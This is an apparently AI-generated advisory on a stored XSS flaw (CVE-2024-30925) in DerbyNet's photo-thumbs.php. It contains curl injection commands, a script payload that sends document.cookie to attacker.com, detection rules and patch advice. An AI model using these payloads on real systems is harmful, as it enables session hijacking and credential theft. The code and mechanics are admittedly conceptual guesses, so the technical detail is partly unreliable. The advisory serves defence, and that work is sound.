CVE-2024-30925

Executive Summary

CVE-2024-30925 identifies a stored Cross-Site Scripting (XSS) vulnerability in DerbyNet versions 9.0 and below. The flaw resides in the photo-thumbs.php component, allowing an unauthenticated attacker to inject arbitrary web scripts or HTML. When a victim (typically an administrator or other user) views the affected page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed instances.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the DerbyNet web application, which is a standalone PHP-based system. No supply chain package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the malicious page
• Scope: Changed (S:C) – impact may affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of data
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication. The lack of a patch increases the risk for unmaintained instances.

Deep Dive & Mechanics

The vulnerability exists in the photo-thumbs.php script, which is part of DerbyNet's photo management functionality. The script likely processes user-supplied input (e.g., file names, captions, or parameters) and reflects or stores it without proper sanitization or output encoding. An attacker can craft a malicious request containing JavaScript payloads, which are then stored in the application's data store (e.g., database or file system). When an administrator or other user accesses the photo-thumbs.php page, the payload is rendered in their browser, leading to XSS execution.

Root Cause: Lack of input validation and output encoding in the photo-thumbs.php component. The application fails to escape HTML entities or sanitize user-controlled data before rendering it in the response.

Attack Vector:

1. Attacker identifies a vulnerable DerbyNet instance (e.g., via Shodan dork).
2. Attacker sends a crafted HTTP request to photo-thumbs.php with a malicious payload in a parameter (e.g., ?photo=<script>alert('XSS')</script>).
3. The payload is stored in the application.
4. Victim (admin or user) navigates to the affected page.
5. The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be the current state of photo-thumbs.php in DerbyNet v9.0. A patched version would include proper output encoding.

Vulnerable Code (Conceptual):

<?php
// photo-thumbs.php
$photo_name = $_GET['photo'];
echo "<img src='photos/$photo_name' />";
?>

Patched Code (Conceptual):

<?php
// photo-thumbs.php
$photo_name = htmlspecialchars($_GET['photo'], ENT_QUOTES, 'UTF-8');
echo "<img src='photos/$photo_name' />";
?>

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable DerbyNet instance (v9.0 or below) accessible over the network.
• A web browser or tool like curl to send crafted requests.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/photo-thumbs.php
2. Inject a stored XSS payload via a parameter. Example:

   curl -X GET "http://target/photo-thumbs.php?photo=<script>alert('XSS')</script>"
   

3. Alternatively, if the parameter is POST-based, use:

   curl -X POST "http://target/photo-thumbs.php" -d "photo=<script>alert('XSS')</script>"
   

4. Wait for an administrator to view the photo-thumbs.php page. The payload will execute.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to photo-thumbs.php containing suspicious characters like <script>, %3Cscript%3E, or onerror=.
• Use WAF rules to block XSS patterns in query strings and POST bodies.

Hardening:

• Apply input validation: whitelist allowed characters for photo names (e.g., alphanumeric, underscores, hyphens).
• Implement output encoding: use htmlspecialchars() or equivalent for all user-controlled data.
• Restrict access to photo-thumbs.php via .htaccess or firewall rules to trusted IPs only.
• If possible, upgrade to a patched version (once available) or consider migrating to an alternative solution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to photo-thumbs.php with parameters containing <script>, %3Cscript%3E, onerror, onload, or similar XSS patterns.
  • Outbound connections from the DerbyNet server to attacker-controlled domains (e.g., for cookie exfiltration).

• File IOCs:

  • Modified or suspicious entries in the application's database or file system related to photo names or captions containing JavaScript.

• Log IOCs:

  • Web server logs showing repeated requests to photo-thumbs.php with unusual query strings.
  • Error logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule CVE_2024_30925_XSS_PhotoThumbs {
    meta:
        description = "Detects XSS payloads targeting DerbyNet photo-thumbs.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-30925"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
        $path = "photo-thumbs.php" nocase
    condition:
        $path and (any of ($xss*))
}

Sigma Rule

title: CVE-2024-30925 XSS Attempt on DerbyNet photo-thumbs.php
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3a1d4e5f6c
status: experimental
description: Detects XSS payloads in requests to DerbyNet photo-thumbs.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'photo-thumbs.php'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in photo names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30925 XSS Attempt on DerbyNet photo-thumbs.php"; flow:to_server; content:"photo-thumbs.php"; http_uri; content:"<script"; nocase; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the DerbyNet instance from untrusted networks (e.g., place behind a VPN or firewall).
2. Implement WAF rules to block XSS patterns in requests to photo-thumbs.php.
3. Manually patch the photo-thumbs.php file by adding htmlspecialchars() output encoding for all user-supplied data.

Long-Term Fix:

• Monitor the DerbyNet project for an official patch. If none is released, consider migrating to an alternative photo management solution.
• Conduct a full security audit of the application to identify similar vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.